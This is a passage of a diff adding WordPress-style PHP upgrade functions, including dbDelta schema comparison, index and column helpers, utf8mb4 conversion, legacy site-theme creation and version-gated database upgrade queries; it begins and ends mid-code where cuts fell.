+ * @global wpdb  $wpdb
+ *
+ * @param string $table_name Database table name to create.
+ * @param string $create_ddl SQL statement to create table.
+ * @return bool If table already exists or was created by function.
+ */
+function maybe_create_table($table_name, $create_ddl) {
+	global $wpdb;
+
+	$query = $wpdb->prepare( "SHOW TABLES LIKE %s", $wpdb->esc_like( $table_name ) );
+
+	if ( $wpdb->get_var( $query ) == $table_name ) {
+		return true;
+	}
+
+	// Didn't find it try to create it..
+	$wpdb->query($create_ddl);
+
+	// We cannot directly tell that whether this succeeded!
+	if ( $wpdb->get_var( $query ) == $table_name ) {
+		return true;
+	}
+	return false;
+}
+
+/**
+ * Drops a specified index from a table.
+ *
+ * @since 1.0.1
+ *
+ * @global wpdb  $wpdb
+ *
+ * @param string $table Database table name.
+ * @param string $index Index name to drop.
+ * @return true True, when finished.
+ */
+function drop_index($table, $index) {
+	global $wpdb;
+	$wpdb->hide_errors();
+	$wpdb->query("ALTER TABLE `$table` DROP INDEX `$index`");
+	// Now we need to take out all the extra ones we may have created
+	for ($i = 0; $i < 25; $i++) {
+		$wpdb->query("ALTER TABLE `$table` DROP INDEX `{$index}_$i`");
+	}
+	$wpdb->show_errors();
+	return true;
+}
+
+/**
+ * Adds an index to a specified table.
+ *
+ * @since 1.0.1
+ *
+ * @global wpdb  $wpdb
+ *
+ * @param string $table Database table name.
+ * @param string $index Database table index column.
+ * @return true True, when done with execution.
+ */
+function add_clean_index($table, $index) {
+	global $wpdb;
+	drop_index($table, $index);
+	$wpdb->query("ALTER TABLE `$table` ADD INDEX ( `$index` )");
+	return true;
+}
+
+/**
+ * Adds column to a database table if it doesn't already exist.
+ *
+ * @since 1.3.0
+ *
+ * @global wpdb  $wpdb
+ *
+ * @param string $table_name  The table name to modify.
+ * @param string $column_name The column name to add to the table.
+ * @param string $create_ddl  The SQL statement used to add the column.
+ * @return bool True if already exists or on successful completion, false on error.
+ */
+function maybe_add_column($table_name, $column_name, $create_ddl) {
+	global $wpdb;
+	foreach ($wpdb->get_col("DESC $table_name", 0) as $column ) {
+		if ($column == $column_name) {
+			return true;
+		}
+	}
+
+	// Didn't find it try to create it.
+	$wpdb->query($create_ddl);
+
+	// We cannot directly tell that whether this succeeded!
+	foreach ($wpdb->get_col("DESC $table_name", 0) as $column ) {
+		if ($column == $column_name) {
+			return true;
+		}
+	}
+	return false;
+}
+
+/**
+ * If a table only contains utf8 or utf8mb4 columns, convert it to utf8mb4.
+ *
+ * @since 4.2.0
+ *
+ * @global wpdb  $wpdb
+ *
+ * @param string $table The table to convert.
+ * @return bool true if the table was converted, false if it wasn't.
+ */
+function maybe_convert_table_to_utf8mb4( $table ) {
+	global $wpdb;
+
+	$results = $wpdb->get_results( "SHOW FULL COLUMNS FROM `$table`" );
+	if ( ! $results ) {
+		return false;
+	}
+
+	foreach ( $results as $column ) {
+		if ( $column->Collation ) {
+			list( $charset ) = explode( '_', $column->Collation );
+			$charset = strtolower( $charset );
+			if ( 'utf8' !== $charset && 'utf8mb4' !== $charset ) {
+				// Don't upgrade tables that have non-utf8 columns.
+				return false;
+			}
+		}
+	}
+
+	$table_details = $wpdb->get_row( "SHOW TABLE STATUS LIKE '$table'" );
+	if ( ! $table_details ) {
+		return false;
+	}
+
+	list( $table_charset ) = explode( '_', $table_details->Collation );
+	$table_charset = strtolower( $table_charset );
+	if ( 'utf8mb4' === $table_charset ) {
+		return true;
+	}
+
+	return $wpdb->query( "ALTER TABLE $table CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci" );
+}
+
+/**
+ * Retrieve all options as it was for 1.2.
+ *
+ * @since 1.2.0
+ *
+ * @global wpdb  $wpdb
+ *
+ * @return stdClass List of options.
+ */
+function get_alloptions_110() {
+	global $wpdb;
+	$all_options = new stdClass;
+	if ( $options = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options" ) ) {
+		foreach ( $options as $option ) {
+			if ( 'siteurl' == $option->option_name || 'home' == $option->option_name || 'category_base' == $option->option_name )
+				$option->option_value = untrailingslashit( $option->option_value );
+			$all_options->{$option->option_name} = stripslashes( $option->option_value );
+		}
+	}
+	return $all_options;
+}
+
+/**
+ * Utility version of get_option that is private to installation/upgrade.
+ *
+ * @ignore
+ * @since 1.5.1
+ * @access private
+ *
+ * @global wpdb  $wpdb
+ *
+ * @param string $setting Option name.
+ * @return mixed
+ */
+function __get_option($setting) {
+	global $wpdb;
+
+	if ( $setting == 'home' && defined( 'WP_HOME' ) )
+		return untrailingslashit( WP_HOME );
+
+	if ( $setting == 'siteurl' && defined( 'WP_SITEURL' ) )
+		return untrailingslashit( WP_SITEURL );
+
+	$option = $wpdb->get_var( $wpdb->prepare("SELECT option_value FROM $wpdb->options WHERE option_name = %s", $setting ) );
+
+	if ( 'home' == $setting && '' == $option )
+		return __get_option( 'siteurl' );
+
+	if ( 'siteurl' == $setting || 'home' == $setting || 'category_base' == $setting || 'tag_base' == $setting )
+		$option = untrailingslashit( $option );
+
+	return maybe_unserialize( $option );
+}
+
+/**
+ * Filters for content to remove unnecessary slashes.
+ *
+ * @since 1.5.0
+ *
+ * @param string $content The content to modify.
+ * @return string The de-slashed content.
+ */
+function deslash($content) {
+	// Note: \\\ inside a regex denotes a single backslash.
+
+	/*
+	 * Replace one or more backslashes followed by a single quote with
+	 * a single quote.
+	 */
+	$content = preg_replace("/\\\+'/", "'", $content);
+
+	/*
+	 * Replace one or more backslashes followed by a double quote with
+	 * a double quote.
+	 */
+	$content = preg_replace('/\\\+"/', '"', $content);
+
+	// Replace one or more backslashes with one backslash.
+	$content = preg_replace("/\\\+/", "\\", $content);
+
+	return $content;
+}
+
+/**
+ * Modifies the database based on specified SQL statements.
+ *
+ * Useful for creating new tables and updating existing tables to a new structure.
+ *
+ * @since 1.5.0
+ *
+ * @global wpdb  $wpdb
+ *
+ * @param string|array $queries Optional. The query to run. Can be multiple queries
+ *                              in an array, or a string of queries separated by
+ *                              semicolons. Default empty.
+ * @param bool         $execute Optional. Whether or not to execute the query right away.
+ *                              Default true.
+ * @return array Strings containing the results of the various update queries.
+ */
+function dbDelta( $queries = '', $execute = true ) {
+	global $wpdb;
+
+	if ( in_array( $queries, array( '', 'all', 'blog', 'global', 'ms_global' ), true ) )
+	    $queries = wp_get_db_schema( $queries );
+
+	// Separate individual queries into an array
+	if ( !is_array($queries) ) {
+		$queries = explode( ';', $queries );
+		$queries = array_filter( $queries );
+	}
+
+	/**
+	 * Filters the dbDelta SQL queries.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param array $queries An array of dbDelta SQL queries.
+	 */
+	$queries = apply_filters( 'dbdelta_queries', $queries );
+
+	$cqueries = array(); // Creation Queries
+	$iqueries = array(); // Insertion Queries
+	$for_update = array();
+
+	// Create a tablename index for an array ($cqueries) of queries
+	foreach ($queries as $qry) {
+		if ( preg_match( "|CREATE TABLE ([^ ]*)|", $qry, $matches ) ) {
+			$cqueries[ trim( $matches[1], '`' ) ] = $qry;
+			$for_update[$matches[1]] = 'Created table '.$matches[1];
+		} elseif ( preg_match( "|CREATE DATABASE ([^ ]*)|", $qry, $matches ) ) {
+			array_unshift( $cqueries, $qry );
+		} elseif ( preg_match( "|INSERT INTO ([^ ]*)|", $qry, $matches ) ) {
+			$iqueries[] = $qry;
+		} elseif ( preg_match( "|UPDATE ([^ ]*)|", $qry, $matches ) ) {
+			$iqueries[] = $qry;
+		} else {
+			// Unrecognized query type
+		}
+	}
+
+	/**
+	 * Filters the dbDelta SQL queries for creating tables and/or databases.
+	 *
+	 * Queries filterable via this hook contain "CREATE TABLE" or "CREATE DATABASE".
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param array $cqueries An array of dbDelta create SQL queries.
+	 */
+	$cqueries = apply_filters( 'dbdelta_create_queries', $cqueries );
+
+	/**
+	 * Filters the dbDelta SQL queries for inserting or updating.
+	 *
+	 * Queries filterable via this hook contain "INSERT INTO" or "UPDATE".
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param array $iqueries An array of dbDelta insert or update SQL queries.
+	 */
+	$iqueries = apply_filters( 'dbdelta_insert_queries', $iqueries );
+
+	$text_fields = array( 'tinytext', 'text', 'mediumtext', 'longtext' );
+	$blob_fields = array( 'tinyblob', 'blob', 'mediumblob', 'longblob' );
+
+	$global_tables = $wpdb->tables( 'global' );
+	foreach ( $cqueries as $table => $qry ) {
+		// Upgrade global tables only for the main site. Don't upgrade at all if conditions are not optimal.
+		if ( in_array( $table, $global_tables ) && ! wp_should_upgrade_global_tables() ) {
+			unset( $cqueries[ $table ], $for_update[ $table ] );
+			continue;
+		}
+
+		// Fetch the table column structure from the database
+		$suppress = $wpdb->suppress_errors();
+		$tablefields = $wpdb->get_results("DESCRIBE {$table};");
+		$wpdb->suppress_errors( $suppress );
+
+		if ( ! $tablefields )
+			continue;
+
+		// Clear the field and index arrays.
+		$cfields = $indices = $indices_without_subparts = array();
+
+		// Get all of the field names in the query from between the parentheses.
+		preg_match("|\((.*)\)|ms", $qry, $match2);
+		$qryline = trim($match2[1]);
+
+		// Separate field lines into an array.
+		$flds = explode("\n", $qryline);
+
+		// For every field line specified in the query.
+		foreach ( $flds as $fld ) {
+			$fld = trim( $fld, " \t\n\r\0\x0B," ); // Default trim characters, plus ','.
+
+			// Extract the field name.
+			preg_match( '|^([^ ]*)|', $fld, $fvals );
+			$fieldname = trim( $fvals[1], '`' );
+			$fieldname_lowercased = strtolower( $fieldname );
+
+			// Verify the found field name.
+			$validfield = true;
+			switch ( $fieldname_lowercased ) {
+				case '':
+				case 'primary':
+				case 'index':
+				case 'fulltext':
+				case 'unique':
+				case 'key':
+				case 'spatial':
+					$validfield = false;
+
+					/*
+					 * Normalize the index definition.
+					 *
+					 * This is done so the definition can be compared against the result of a
+					 * `SHOW INDEX FROM $table_name` query which returns the current table
+					 * index information.
+					 */
+
+					// Extract type, name and columns from the definition.
+					preg_match(
+						  '/^'
+						.   '(?P<index_type>'             // 1) Type of the index.
+						.       'PRIMARY\s+KEY|(?:UNIQUE|FULLTEXT|SPATIAL)\s+(?:KEY|INDEX)|KEY|INDEX'
+						.   ')'
+						.   '\s+'                         // Followed by at least one white space character.
+						.   '(?:'                         // Name of the index. Optional if type is PRIMARY KEY.
+						.       '`?'                      // Name can be escaped with a backtick.
+						.           '(?P<index_name>'     // 2) Name of the index.
+						.               '(?:[0-9a-zA-Z$_-]|[\xC2-\xDF][\x80-\xBF])+'
+						.           ')'
+						.       '`?'                      // Name can be escaped with a backtick.
+						.       '\s+'                     // Followed by at least one white space character.
+						.   ')*'
+						.   '\('                          // Opening bracket for the columns.
+						.       '(?P<index_columns>'
+						.           '.+?'                 // 3) Column names, index prefixes, and orders.
+						.       ')'
+						.   '\)'                          // Closing bracket for the columns.
+						. '$/im',
+						$fld,
+						$index_matches
+					);
+
+					// Uppercase the index type and normalize space characters.
+					$index_type = strtoupper( preg_replace( '/\s+/', ' ', trim( $index_matches['index_type'] ) ) );
+
+					// 'INDEX' is a synonym for 'KEY', standardize on 'KEY'.
+					$index_type = str_replace( 'INDEX', 'KEY', $index_type );
+
+					// Escape the index name with backticks. An index for a primary key has no name.
+					$index_name = ( 'PRIMARY KEY' === $index_type ) ? '' : '`' . strtolower( $index_matches['index_name'] ) . '`';
+
+					// Parse the columns. Multiple columns are separated by a comma.
+					$index_columns = $index_columns_without_subparts = array_map( 'trim', explode( ',', $index_matches['index_columns'] ) );
+
+					// Normalize columns.
+					foreach ( $index_columns as $id => &$index_column ) {
+						// Extract column name and number of indexed characters (sub_part).
+						preg_match(
+							  '/'
+							.   '`?'                      // Name can be escaped with a backtick.
+							.       '(?P<column_name>'    // 1) Name of the column.
+							.           '(?:[0-9a-zA-Z$_-]|[\xC2-\xDF][\x80-\xBF])+'
+							.       ')'
+							.   '`?'                      // Name can be escaped with a backtick.
+							.   '(?:'                     // Optional sub part.
+							.       '\s*'                 // Optional white space character between name and opening bracket.
+							.       '\('                  // Opening bracket for the sub part.
+							.           '\s*'             // Optional white space character after opening bracket.
+							.           '(?P<sub_part>'
+							.               '\d+'         // 2) Number of indexed characters.
+							.           ')'
+							.           '\s*'             // Optional white space character before closing bracket.
+							.        '\)'                 // Closing bracket for the sub part.
+							.   ')?'
+							. '/',
+							$index_column,
+							$index_column_matches
+						);
+
+						// Escape the column name with backticks.
+						$index_column = '`' . $index_column_matches['column_name'] . '`';
+
+						// We don't need to add the subpart to $index_columns_without_subparts
+						$index_columns_without_subparts[ $id ] = $index_column;
+
+						// Append the optional sup part with the number of indexed characters.
+						if ( isset( $index_column_matches['sub_part'] ) ) {
+							$index_column .= '(' . $index_column_matches['sub_part'] . ')';
+						}
+					}
+
+					// Build the normalized index definition and add it to the list of indices.
+					$indices[] = "{$index_type} {$index_name} (" . implode( ',', $index_columns ) . ")";
+					$indices_without_subparts[] = "{$index_type} {$index_name} (" . implode( ',', $index_columns_without_subparts ) . ")";
+
+					// Destroy no longer needed variables.
+					unset( $index_column, $index_column_matches, $index_matches, $index_type, $index_name, $index_columns, $index_columns_without_subparts );
+
+					break;
+			}
+
+			// If it's a valid field, add it to the field array.
+			if ( $validfield ) {
+				$cfields[ $fieldname_lowercased ] = $fld;
+			}
+		}
+
+		// For every field in the table.
+		foreach ( $tablefields as $tablefield ) {
+			$tablefield_field_lowercased = strtolower( $tablefield->Field );
+			$tablefield_type_lowercased = strtolower( $tablefield->Type );
+
+			// If the table field exists in the field array ...
+			if ( array_key_exists( $tablefield_field_lowercased, $cfields ) ) {
+
+				// Get the field type from the query.
+				preg_match( '|`?' . $tablefield->Field . '`? ([^ ]*( unsigned)?)|i', $cfields[ $tablefield_field_lowercased ], $matches );
+				$fieldtype = $matches[1];
+				$fieldtype_lowercased = strtolower( $fieldtype );
+
+				// Is actual field type different from the field type in query?
+				if ($tablefield->Type != $fieldtype) {
+					$do_change = true;
+					if ( in_array( $fieldtype_lowercased, $text_fields ) && in_array( $tablefield_type_lowercased, $text_fields ) ) {
+						if ( array_search( $fieldtype_lowercased, $text_fields ) < array_search( $tablefield_type_lowercased, $text_fields ) ) {
+							$do_change = false;
+						}
+					}
+
+					if ( in_array( $fieldtype_lowercased, $blob_fields ) && in_array( $tablefield_type_lowercased, $blob_fields ) ) {
+						if ( array_search( $fieldtype_lowercased, $blob_fields ) < array_search( $tablefield_type_lowercased, $blob_fields ) ) {
+							$do_change = false;
+						}
+					}
+
+					if ( $do_change ) {
+						// Add a query to change the column type.
+						$cqueries[] = "ALTER TABLE {$table} CHANGE COLUMN `{$tablefield->Field}` " . $cfields[ $tablefield_field_lowercased ];
+						$for_update[$table.'.'.$tablefield->Field] = "Changed type of {$table}.{$tablefield->Field} from {$tablefield->Type} to {$fieldtype}";
+					}
+				}
+
+				// Get the default value from the array.
+				if ( preg_match( "| DEFAULT '(.*?)'|i", $cfields[ $tablefield_field_lowercased ], $matches ) ) {
+					$default_value = $matches[1];
+					if ($tablefield->Default != $default_value) {
+						// Add a query to change the column's default value
+						$cqueries[] = "ALTER TABLE {$table} ALTER COLUMN `{$tablefield->Field}` SET DEFAULT '{$default_value}'";
+						$for_update[$table.'.'.$tablefield->Field] = "Changed default value of {$table}.{$tablefield->Field} from {$tablefield->Default} to {$default_value}";
+					}
+				}
+
+				// Remove the field from the array (so it's not added).
+				unset( $cfields[ $tablefield_field_lowercased ] );
+			} else {
+				// This field exists in the table, but not in the creation queries?
+			}
+		}
+
+		// For every remaining field specified for the table.
+		foreach ($cfields as $fieldname => $fielddef) {
+			// Push a query line into $cqueries that adds the field to that table.
+			$cqueries[] = "ALTER TABLE {$table} ADD COLUMN $fielddef";
+			$for_update[$table.'.'.$fieldname] = 'Added column '.$table.'.'.$fieldname;
+		}
+
+		// Index stuff goes here. Fetch the table index structure from the database.
+		$tableindices = $wpdb->get_results("SHOW INDEX FROM {$table};");
+
+		if ($tableindices) {
+			// Clear the index array.
+			$index_ary = array();
+
+			// For every index in the table.
+			foreach ($tableindices as $tableindex) {
+
+				// Add the index to the index data array.
+				$keyname = strtolower( $tableindex->Key_name );
+				$index_ary[$keyname]['columns'][] = array('fieldname' => $tableindex->Column_name, 'subpart' => $tableindex->Sub_part);
+				$index_ary[$keyname]['unique'] = ($tableindex->Non_unique == 0)?true:false;
+				$index_ary[$keyname]['index_type'] = $tableindex->Index_type;
+			}
+
+			// For each actual index in the index array.
+			foreach ($index_ary as $index_name => $index_data) {
+
+				// Build a create string to compare to the query.
+				$index_string = '';
+				if ($index_name == 'primary') {
+					$index_string .= 'PRIMARY ';
+				} elseif ( $index_data['unique'] ) {
+					$index_string .= 'UNIQUE ';
+				}
+				if ( 'FULLTEXT' === strtoupper( $index_data['index_type'] ) ) {
+					$index_string .= 'FULLTEXT ';
+				}
+				if ( 'SPATIAL' === strtoupper( $index_data['index_type'] ) ) {
+					$index_string .= 'SPATIAL ';
+				}
+				$index_string .= 'KEY ';
+				if ( 'primary' !== $index_name  ) {
+					$index_string .= '`' . $index_name . '`';
+				}
+				$index_columns = '';
+
+				// For each column in the index.
+				foreach ($index_data['columns'] as $column_data) {
+					if ( $index_columns != '' ) {
+						$index_columns .= ',';
+					}
+
+					// Add the field to the column list string.
+					$index_columns .= '`' . $column_data['fieldname'] . '`';
+				}
+
+				// Add the column list to the index create string.
+				$index_string .= " ($index_columns)";
+
+				// Check if the index definition exists, ignoring subparts.
+				if ( ! ( ( $aindex = array_search( $index_string, $indices_without_subparts ) ) === false ) ) {
+					// If the index already exists (even with different subparts), we don't need to create it.
+					unset( $indices_without_subparts[ $aindex ] );
+					unset( $indices[ $aindex ] );
+				}
+			}
+		}
+
+		// For every remaining index specified for the table.
+		foreach ( (array) $indices as $index ) {
+			// Push a query line into $cqueries that adds the index to that table.
+			$cqueries[] = "ALTER TABLE {$table} ADD $index";
+			$for_update[] = 'Added index ' . $table . ' ' . $index;
+		}
+
+		// Remove the original table creation query from processing.
+		unset( $cqueries[ $table ], $for_update[ $table ] );
+	}
+
+	$allqueries = array_merge($cqueries, $iqueries);
+	if ($execute) {
+		foreach ($allqueries as $query) {
+			$wpdb->query($query);
+		}
+	}
+
+	return $for_update;
+}
+
+/**
+ * Updates the database tables to a new schema.
+ *
+ * By default, updates all the tables to use the latest defined schema, but can also
+ * be used to update a specific set of tables in wp_get_db_schema().
+ *
+ * @since 1.5.0
+ *
+ * @uses dbDelta
+ *
+ * @param string $tables Optional. Which set of tables to update. Default is 'all'.
+ */
+function make_db_current( $tables = 'all' ) {
+	$alterations = dbDelta( $tables );
+	echo "<ol>\n";
+	foreach ($alterations as $alteration) echo "<li>$alteration</li>\n";
+	echo "</ol>\n";
+}
+
+/**
+ * Updates the database tables to a new schema, but without displaying results.
+ *
+ * By default, updates all the tables to use the latest defined schema, but can
+ * also be used to update a specific set of tables in wp_get_db_schema().
+ *
+ * @since 1.5.0
+ *
+ * @see make_db_current()
+ *
+ * @param string $tables Optional. Which set of tables to update. Default is 'all'.
+ */
+function make_db_current_silent( $tables = 'all' ) {
+	dbDelta( $tables );
+}
+
+/**
+ * Creates a site theme from an existing theme.
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since 1.5.0
+ *
+ * @param string $theme_name The name of the theme.
+ * @param string $template   The directory name of the theme.
+ * @return bool
+ */
+function make_site_theme_from_oldschool($theme_name, $template) {
+	$home_path = get_home_path();
+	$site_dir = WP_CONTENT_DIR . "/themes/$template";
+
+	if (! file_exists("$home_path/index.php"))
+		return false;
+
+	/*
+	 * Copy files from the old locations to the site theme.
+	 * TODO: This does not copy arbitrary include dependencies. Only the standard WP files are copied.
+	 */
+	$files = array('index.php' => 'index.php', 'wp-layout.css' => 'style.css', 'wp-comments.php' => 'comments.php', 'wp-comments-popup.php' => 'comments-popup.php');
+
+	foreach ($files as $oldfile => $newfile) {
+		if ($oldfile == 'index.php')
+			$oldpath = $home_path;
+		else
+			$oldpath = ABSPATH;
+
+		// Check to make sure it's not a new index.
+		if ($oldfile == 'index.php') {
+			$index = implode('', file("$oldpath/$oldfile"));
+			if (strpos($index, 'WP_USE_THEMES') !== false) {
+				if (! @copy(WP_CONTENT_DIR . '/themes/' . WP_DEFAULT_THEME . '/index.php', "$site_dir/$newfile"))
+					return false;
+
+				// Don't copy anything.
+				continue;
+			}
+		}
+
+		if (! @copy("$oldpath/$oldfile", "$site_dir/$newfile"))
+			return false;
+
+		chmod("$site_dir/$newfile", 0777);
+
+		// Update the blog header include in each file.
+		$lines = explode("\n", implode('', file("$site_dir/$newfile")));
+		if ($lines) {
+			$f = fopen("$site_dir/$newfile", 'w');
+
+			foreach ($lines as $line) {
+				if (preg_match('/require.*wp-blog-header/', $line))
+					$line = '//' . $line;
+
+				// Update stylesheet references.
+				$line = str_replace("<?php echo __get_option('siteurl'); ?>/wp-layout.css", "<?php bloginfo('stylesheet_url'); ?>", $line);
+
+				// Update comments template inclusion.
+				$line = str_replace("<?php include(ABSPATH . 'wp-comments.php'); ?>", "<?php comments_template(); ?>", $line);
+
+				fwrite($f, "{$line}\n");
+			}
+			fclose($f);
+		}
+	}
+
+	// Add a theme header.
+	$header = "/*\nTheme Name: $theme_name\nTheme URI: " . __get_option('siteurl') . "\nDescription: A theme automatically created by the update.\nVersion: 1.0\nAuthor: Moi\n*/\n";
+
+	$stylelines = file_get_contents("$site_dir/style.css");
+	if ($stylelines) {
+		$f = fopen("$site_dir/style.css", 'w');
+
+		fwrite($f, $header);
+		fwrite($f, $stylelines);
+		fclose($f);
+	}
+
+	return true;
+}
+
+/**
+ * Creates a site theme from the default theme.
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since 1.5.0
+ *
+ * @param string $theme_name The name of the theme.
+ * @param string $template   The directory name of the theme.
+ * @return false|void
+ */
+function make_site_theme_from_default($theme_name, $template) {
+	$site_dir = WP_CONTENT_DIR . "/themes/$template";
+	$default_dir = WP_CONTENT_DIR . '/themes/' . WP_DEFAULT_THEME;
+
+	// Copy files from the default theme to the site theme.
+	//$files = array('index.php', 'comments.php', 'comments-popup.php', 'footer.php', 'header.php', 'sidebar.php', 'style.css');
+
+	$theme_dir = @ opendir($default_dir);
+	if ($theme_dir) {
+		while(($theme_file = readdir( $theme_dir )) !== false) {
+			if (is_dir("$default_dir/$theme_file"))
+				continue;
+			if (! @copy("$default_dir/$theme_file", "$site_dir/$theme_file"))
+				return;
+			chmod("$site_dir/$theme_file", 0777);
+		}
+	}
+	@closedir($theme_dir);
+
+	// Rewrite the theme header.
+	$stylelines = explode("\n", implode('', file("$site_dir/style.css")));
+	if ($stylelines) {
+		$f = fopen("$site_dir/style.css", 'w');
+
+		foreach ($stylelines as $line) {
+			if (strpos($line, 'Theme Name:') !== false) $line = 'Theme Name: ' . $theme_name;
+			elseif (strpos($line, 'Theme URI:') !== false) $line = 'Theme URI: ' . __get_option('url');
+			elseif (strpos($line, 'Description:') !== false) $line = 'Description: Your theme.';
+			elseif (strpos($line, 'Version:') !== false) $line = 'Version: 1';
+			elseif (strpos($line, 'Author:') !== false) $line = 'Author: You';
+			fwrite($f, $line . "\n");
+		}
+		fclose($f);
+	}
+
+	// Copy the images.
+	umask(0);
+	if (! mkdir("$site_dir/images", 0777)) {
+		return false;
+	}
+
+	$images_dir = @ opendir("$default_dir/images");
+	if ($images_dir) {
+		while(($image = readdir($images_dir)) !== false) {
+			if (is_dir("$default_dir/images/$image"))
+				continue;
+			if (! @copy("$default_dir/images/$image", "$site_dir/images/$image"))
+				return;
+			chmod("$site_dir/images/$image", 0777);
+		}
+	}
+	@closedir($images_dir);
+}
+
+/**
+ * Creates a site theme.
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since 1.5.0
+ *
+ * @return false|string
+ */
+function make_site_theme() {
+	// Name the theme after the blog.
+	$theme_name = __get_option('blogname');
+	$template = sanitize_title($theme_name);
+	$site_dir = WP_CONTENT_DIR . "/themes/$template";
+
+	// If the theme already exists, nothing to do.
+	if ( is_dir($site_dir)) {
+		return false;
+	}
+
+	// We must be able to write to the themes dir.
+	if (! is_writable(WP_CONTENT_DIR . "/themes")) {
+		return false;
+	}
+
+	umask(0);
+	if (! mkdir($site_dir, 0777)) {
+		return false;
+	}
+
+	if (file_exists(ABSPATH . 'wp-layout.css')) {
+		if (! make_site_theme_from_oldschool($theme_name, $template)) {
+			// TODO: rm -rf the site theme directory.
+			return false;
+		}
+	} else {
+		if (! make_site_theme_from_default($theme_name, $template))
+			// TODO: rm -rf the site theme directory.
+			return false;
+	}
+
+	// Make the new site theme active.
+	$current_template = __get_option('template');
+	if ($current_template == WP_DEFAULT_THEME) {
+		update_option('template', $template);
+		update_option('stylesheet', $template);
+	}
+	return $template;
+}
+
+/**
+ * Translate user level to user role name.
+ *
+ * @since 2.0.0
+ *
+ * @param int $level User level.
+ * @return string User role name.
+ */
+function translate_level_to_role($level) {
+	switch ($level) {
+	case 10:
+	case 9:
+	case 8:
+		return 'administrator';
+	case 7:
+	case 6:
+	case 5:
+		return 'editor';
+	case 4:
+	case 3:
+	case 2:
+		return 'author';
+	case 1:
+		return 'contributor';
+	case 0:
+		return 'subscriber';
+	}
+}
+
+/**
+ * Checks the version of the installed MySQL binary.
+ *
+ * @since 2.1.0
+ *
+ * @global wpdb  $wpdb
+ */
+function wp_check_mysql_version() {
+	global $wpdb;
+	$result = $wpdb->check_database_version();
+	if ( is_wp_error( $result ) )
+		die( $result->get_error_message() );
+}
+
+/**
+ * Disables the Automattic widgets plugin, which was merged into core.
+ *
+ * @since 2.2.0
+ */
+function maybe_disable_automattic_widgets() {
+	$plugins = __get_option( 'active_plugins' );
+
+	foreach ( (array) $plugins as $plugin ) {
+		if ( basename( $plugin ) == 'widgets.php' ) {
+			array_splice( $plugins, array_search( $plugin, $plugins ), 1 );
+			update_option( 'active_plugins', $plugins );
+			break;
+		}
+	}
+}
+
+/**
+ * Disables the Link Manager on upgrade if, at the time of upgrade, no links exist in the DB.
+ *
+ * @since 3.5.0
+ *
+ * @global int  $wp_current_db_version
+ * @global wpdb $wpdb WordPress database abstraction object.
+ */
+function maybe_disable_link_manager() {
+	global $wp_current_db_version, $wpdb;
+
+	if ( $wp_current_db_version >= 22006 && get_option( 'link_manager_enabled' ) && ! $wpdb->get_var( "SELECT link_id FROM $wpdb->links LIMIT 1" ) )
+		update_option( 'link_manager_enabled', 0 );
+}
+
+/**
+ * Runs before the schema is upgraded.
+ *
+ * @since 2.9.0
+ *
+ * @global int  $wp_current_db_version
+ * @global wpdb $wpdb WordPress database abstraction object.
+ */
+function pre_schema_upgrade() {
+	global $wp_current_db_version, $wpdb;
+
+	// Upgrade versions prior to 2.9
+	if ( $wp_current_db_version < 11557 ) {
+		// Delete duplicate options. Keep the option with the highest option_id.
+		$wpdb->query("DELETE o1 FROM $wpdb->options AS o1 JOIN $wpdb->options AS o2 USING (`option_name`) WHERE o2.option_id > o1.option_id");
+
+		// Drop the old primary key and add the new.
+		$wpdb->query("ALTER TABLE $wpdb->options DROP PRIMARY KEY, ADD PRIMARY KEY(option_id)");
+
+		// Drop the old option_name index. dbDelta() doesn't do the drop.
+		$wpdb->query("ALTER TABLE $wpdb->options DROP INDEX option_name");
+	}
+
+	// Multisite schema upgrades.
+	if ( $wp_current_db_version < 25448 && is_multisite() && wp_should_upgrade_global_tables() ) {
+
+		// Upgrade versions prior to 3.7
+		if ( $wp_current_db_version < 25179 ) {
+			// New primary key for signups.
+			$wpdb->query( "ALTER TABLE $wpdb->signups ADD signup_id BIGINT(20) NOT NULL AUTO_INCREMENT PRIMARY KEY FIRST" );
+			$wpdb->query( "ALTER TABLE $wpdb->signups DROP INDEX domain" );
+		}
+
+		if ( $wp_current_db_version < 25448 ) {
+			// Convert archived from enum to tinyint.
+			$wpdb->query( "ALTER TABLE $wpdb->blogs CHANGE COLUMN archived archived varchar(1) NOT NULL default '0'" );
+			$wpdb->query( "ALTER TABLE $wpdb->blogs CHANGE COLUMN archived archived tinyint(2) NOT NULL default 0" );
+		}
+	}
+
+	// Upgrade versions prior to 4.2.
+	if ( $wp_current_db_version < 31351 ) {
+		if ( ! is_multisite() && wp_should_upgrade_global_tables() ) {
+			$wpdb->query( "ALTER TABLE $wpdb->usermeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
+		}
+		$wpdb->query( "ALTER TABLE $wpdb->terms DROP INDEX slug, ADD INDEX slug(slug(191))" );
+		$wpdb->query( "ALTER TABLE $wpdb->terms DROP INDEX name, ADD INDEX name(name(191))" );
+		$wpdb->query( "ALTER TABLE $wpdb->commentmeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
+		$wpdb->query( "ALTER TABLE $wpdb->postmeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
+		$wpdb->query( "ALTER TABLE $wpdb->posts DROP INDEX post_name, ADD INDEX post_name(post_name(191))" );
+	}
+
+	// Upgrade versions prior to 4.4.
+	if ( $wp_current_db_version < 34978 ) {
+		// If compatible termmeta table is found, use it, but enforce a proper index and update collation.
+		if ( $wpdb->get_var( "SHOW TABLES LIKE '{$wpdb->termmeta}'" ) && $wpdb->get_results( "SHOW INDEX FROM {$wpdb->termmeta} WHERE Column_name = 'meta_key'" ) ) {
+			$wpdb->query( "ALTER TABLE $wpdb->termmeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
+			maybe_convert_table_to_utf8mb4( $wpdb->termmeta );
+		}
+	}
+}
+
+if ( !function_exists( 'install_global_terms' ) ) :
+/**
+ * Install global terms.
+ *
+ * @since 3.0.0
+ *
+ * @global wpdb   $wpdb
+ * @global string $charset_collate
+ */
+function install_global_terms() {
+	global $wpdb, $charset_collate;
+	$ms_queries = "
+CREATE TABLE $wpdb->sitecategories (
+  cat_ID bigint(20) NOT NULL auto_increment,
